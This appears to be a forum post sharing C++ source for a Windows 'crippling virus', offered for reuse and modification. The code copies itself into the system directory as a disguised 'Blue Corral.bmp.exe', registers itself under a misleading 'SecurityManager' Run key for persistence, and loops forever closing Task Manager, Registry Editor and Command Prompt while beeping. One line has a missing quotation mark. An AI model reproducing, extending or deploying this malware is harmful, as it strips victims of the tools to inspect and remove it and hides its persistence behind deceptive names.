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annoying crippling virus
this will play an annoying tune and disable the use of regedit, command prompt, and taskmanager

you may take the code and add things to it or change

Code
#include "stdafx.h"
#include "windows.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
   HKEY hKey;
   char sd[255];
   char path[MAX_PATH];
   int Freq = 0;
   int Duration = 100;
   bool Forwards = true;
   bool Backwards = false;
   int timer = 0;
   HWND hWin;
   HMODULE GetModH = GetModuleHandle(0);
   GetModuleFileName(GetModH, path, 256);

   GetSystemDirectory(sd,255);
   
   strcat(sd,"\\Blue Corral.bmp.exe");
   CopyFile(path,sd,FALSE);
   unsigned char PathToFile[20] = "Blue Corral.bmp.exe";

   RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
   RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));
   RegCloseKey(hKey);

   while(1==1)
  {

   hWin = FindWindow(NULL,"Windows Task Manager");
   SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

   hWin = FindWindow(NULL,"Registry Editor");
   SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

   hWin = FindWindow(NULL,"Command Prompt");
   SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

   hWin = FindWindow(NULL,"Close Program");
   SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);

   if(Backwards==true)
   {
   Beep(Freq,Duration);
   Freq = Freq - 100;
   timer = timer - 1;
   }
   if (timer == 0)
   {
   Backwards = false;
   Forwards = true;
   }

   if (timer == 30)
   {
   Backwards = true;
   Forwards = false;
   }
   if(Forwards==true)
   {
   Beep(Freq,Duration);
   Freq = Freq + 100;
   timer = timer + 1;
   }
  }
   return 0;
}


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